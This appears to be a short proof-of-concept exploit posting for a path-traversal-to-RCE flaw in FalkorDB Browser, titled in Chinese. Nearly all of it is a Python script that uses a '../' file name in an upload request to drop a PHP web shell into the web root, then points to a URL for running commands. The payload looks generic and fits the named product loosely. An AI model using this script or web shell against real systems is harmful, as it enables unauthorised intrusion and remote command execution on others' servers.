CVE-2026-6057 FalkorDB Browser路径遍历致RCE

import requests # Target URL (Replace with actual target) target_url = "http://vulnerable-host/api/upload" # Malicious file with path traversal payload # Example: Uploading a PHP shell to the web root files = { 'file': ('../../var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php') } # Exploit attempt response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] Exploit successful! File uploaded.") print("[+] Check your shell at: http://vulnerable-host/shell.php?cmd=whoami") else: print("[-] Exploit failed.")